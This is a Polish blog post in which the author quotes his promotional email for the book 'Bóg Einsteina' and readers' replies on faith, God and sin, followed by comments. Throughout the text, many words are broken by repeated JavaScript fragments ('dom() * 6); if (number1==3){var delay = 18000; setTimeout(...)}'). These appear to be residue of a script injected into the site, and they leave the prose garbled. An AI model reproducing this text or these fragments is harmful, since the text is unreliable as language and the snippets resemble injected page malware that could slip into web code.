Ale się porobiło po moim ostatnim mailu jaki wysłałem do czytelników mojego bloga! Miała dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to być zwykła, komercyjna wiadomość zachęcająca do zakupu książki “Bóg Einsteina” a stała się początkiem dyskusji…
Po przesłaniu wiadomości otrzymałem wiele odpowiedzi.
Zaraz przydom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toczę, moim zdaniem najciekawsze ale przedtem pozwólcie, że zacytuję treść mojego maila (część z was zapewne w gorączce przedświątecznych przygodom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towań nie otworzyła korespondencji ode mnie…)
Treść mojego maila:
“Wierzę w Boga ale czy on wierzy we mnie?” – taki napis w formie graffiti widziałem codziennie przez 5 lat na dworcu Szybkiej Kolei Miejskiej Gdynia-Grabówek jeżdżąc na początku lat 90. na studia na Politechnice Gdańskiej.
Wtedy, wydawał mi się on przede wszystkim dowcipny. Teraz, jako gość po 40-tce z bagażem wielu doświadczeń (niektóre z nich nazywamy grzechami), zastanawiam się nad moimi relacjami z Bogiem.
I wiesz co? Mam wtedy przed oczami obdrapany mur kolejowego korytarza z krwisdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toczerwonym zdaniem “Wierzę w Boga ale…”
Czasami jestem na Niego wściekły, czasami się na Niego obrażam, czasami Go potrzebuję. Czasami a raczej rzadko… rozumiem
Właśnie, zrozumieć. To słowo klucz. Czy zastanawiasz się czasami Jak zrozumieć Boga i dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to kim jest?”
Już kilkanaście minut po wysłaniu wiadomości otrzymałem pierwszy list. Jego audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torem jest Jerzy Łach (dane publikuję za zgodą audom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tora):
“… Odnosząc się do pana wywodu:
– Bóg nie musi w pana (czy we mnie) wierzyć. On wie wszystko i nie potrzebuje wiary żeby wiedzieć o mnie cokolwiek,
– Grzech dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to grzech i nazywanie tego inaczej nie zmieni tego faktu, pana i mój grzech obraża Boga,
– Wściekanie na Boga również obraża Go,
Co do relacji z Bogiem: Ona nie będzie istnieć wcale jeśli człowiek (pan czy ja):
– Nie zrozumie kim jest, a jest pan tak jak i ja grzesznikiem,
– Nie ukorzy się przed Nim i nie uzna siebie za godnego potępienia,
– Nie wzywa imienia Pańskiego ku zbawieniu,
– Nie uwierzy pan w zbawczą moc śmierci i zmartwychwstania Jezusa Chrystusa.
Do tego nie potrzebne są książki czy ebooki myślicieli. Wystarczy stara Biblia, która jest spisanym Słowem Bożym. Nie potrzeba do tego księdza, ani religijnej organizacji. Jestem ewangelicznym chrześcijaninem, który zrobił kiedyś opisywane wyżej kroki i nawiązał relację z Bogiem. Jeżeli pan osobiście tego jeszcze nie zrobił – polecam serdecznie…”
Odom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to kolejna korespondencja. Od Cezarego:
“Odpowiadając na Twój list, polecam Ci do przeczytania jedno z Pism Świętych “Bhagavad-Gita Taka Jaka Jest”. Jeśli podejmiesz się przeczytania tej księgi dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Twoje rozumienie Boga znacznie wzrośnie – gwarantuje.
Ja nie jestem w stanie policzyć ile razy czytałem dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to arcydzieło i do dzisiaj nie mogę się nasycić w pełni mądrościami tam zawartymi.
Einstein tez czytał Bhagavad-Gite. Nawet na okładce wydania (w polskiej wersji językowej) jest zamieszczony cytat Einsteina odnośnie Bhagavad-Gity. Skoro Einstein ja czytał dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cóż tu mówić o nas…
Ta Księga wywróciła moje życie do góry nogami – wardom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to było jak nie wiadomo co.”
I na koniec Cyprian:
“Bardzo częsdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to człowiek czyni sobie Boga na swoje podobieństwo, a dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to jest odwrotnie. To Bóg uczynił człowieka na swój obraz i podobieństwo, obdarzając go duszą, by przez rozum wzniósł się ponad wszystkie inne isdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toty (nierozumne), które są na ziemi.
Człowiek jako isdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tota stworzona przez Boga otrzymał moc panowania nad światem. Człowiek ma wielki potencjał, jest podobny do Boga, choć ma też coś co go ściąga w dół – skłonność do grzechu.
Bóg nie obdarzył człowieka grzechem, ale dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to człowiek sprzeniewierzył się mu i od tego czasu więź jest zerwana, i cały czas człowiek jej poszukuje próbując odbudować.
Podobieństwo do Boga jest więc dynamiczne, czyli człowiek ma obowiązek doskonalenia się przez poznawanie i miłość Boga. Nadom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomiast Bóg zawsze poszukuje i kocha człowieka, do tego sdom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topnia, że 2000 lat temu przyszedł w ciele człowieka (zbliżające się Boże Narodzenie), by pokazać nam drogę i przez swoją bezgraniczną miłość aż po śmierć na krzyżu dać nam moc do przemiany siebie w dobrym, byśmy do niego dążyli.
To tyle. Jeśli chcesz włączyć się do dyskusji, zachęcam gorąco! Pozostaw swój komentarz.
![]() |
Wpis Ci się podobał?
Świeżutkie artykuły i filmy na temat prezentacji i rozwoju osobistego wprost na Twoją skrzynkę!
Nie ma co rozwodzić się na ten temat, dopóki nie odpowiemy sobie na pytanie:
Co to jest WIARA ?
Witaj w pierwszy dzień Świąt!
To może trochę łatwiej zrobimy? Zmieńmy pytanie na do czego jest Ci potrzebna wiara? Ja jestem człowiekiem praktycznie nastawionym do życia 🙂
Czy tylko zwracasz się do Boga w chwilach gdy jest Ci źle, masz kłopoty i szukasz wsparcia? Ja nie ukrywam, że w ostatnich kilku latach, mając kłopoty tak postąpiłem, w myśl zasady “jak trwoga to do Boga”. Poza tymi krótkimi chwilami “słabości” nie potrzebowałem z Nim kontaktu.
Czy wiara jest Ci potrzebna do życia, czy jest dla Ciebie czymś (właśnie, czymś…) ważnym, czy możesz żyć bez wiary w jakiś wyższy byt… Może wielu z nas nie potrzebuje wiary w Boga?
Witam, pozwoliłam sobie napisać parę słów na temat wiary. Osobiście jestem osobą wierzącą i moja wiara jest dla mnie bardzo ważna. Bardzo często słyszę stwierdzenie, że ktoś jest wierzący, ale niepraktykujący.Bardzo nie lubię tych słów, bo to tak, jakby ktoś powiedział:”Jestem żyjący, ale nieoddychający”. Uważam, że człowiek wierzący to taki, który poprzez swoje czyny potrafi pokazać jaka jest jego wiara. A do tego trzeba dojrzeć. I jeszcze taka mała refleksja, dużo ludzi uważa, że ludzie wierzący są nieżyciowi i nieporadni. Człowiek wierzący to nie idealista chodzący z głowa w chmurach, ani piegowata grubaska w worku po ziemniakach. Wierzący to po prostu człowiek szczęśliwy. A to od razu widać. Pozdrawiam:)
Cześć Aniu!
Podoba mi się Twoje określenie “wierzący to po prostu człowiek szczęśliwy”!
Co do określenia “wierzący ale nie praktykujący” – jestem w stanie wyobrazić sobie taką osobę. Można zastanowić się skąd bierze się niechęć chodzenia do kościoła: czyste lenistwo, niechęć do duchownych, uważanie tego za stratę czasu bo “nie potrzebuję kościoła aby zwrócić się do Boga” itd.
Wpisuję ten komentarz, gdyż sam piszę recenzję na temat audiobooka “Bóg Einsteina”. Sam tytuł jest już skandalizujący. Nie dziwię się, że Twój e-mail Robercie wywołał takie a nie inne komentarze. Moim zadaniem jako recenzenta jest zachęcenie ludzi do kupna audiobooka. Ja zdecydowałem się na zakup z dwóch powodów:
po pierwsze jestem człowiekiem wierzącym i nie sądzę by treść tej książki miała jakieś negatywny oddźwięk;
po drugie Einstein był geniuszem i jak każdy geniusz inaczej postrzegał świat. Warto się zapoznać z jego poglądami.
Nie będę się rozwodził na temat wiary, gdyż sądzę, że nie nam “maluczkim” podsumowywać dzieła boże.
Marku,
Wysyłając informację o książce nie liczyłem na to, że wiadomość ta wywoła taki oddźwięk (jak na moje “przełożenie medialne w sieci”) Ale ucieszyły mnie te maile bo to zawsze robi “ruch” na blogu 🙂 mam nadzieję, że nie zabrzmiało to zbyt cynicznie…
Książki nie czytałem więc nie mam nawet pojęcia co o niej myśleć a mailing zrobiłem na prośbę znajomego (w wiadomości był jego link partnerski do ZM).
Nie znając jednak nawet tej pozycji śmiem twierdzić, że nie jest to chyba jedna z książek, która zmieniłaby bieg świata a przynajmniej sposób myślenia, człowieka o poziomie myślenia nie odbiegającym od średniej krajowej 🙂
Mam nadzieję, że nikt nie będzie miał do mnie pretensji po zakupie tej pozycji.
Złote Myśli trzymają jednak pewien poziom choć zapewne i Ty i ja moglibyśmy wskazać po kilka słabszych pozycji w dorobku wydawnictwa.
pozdrawiam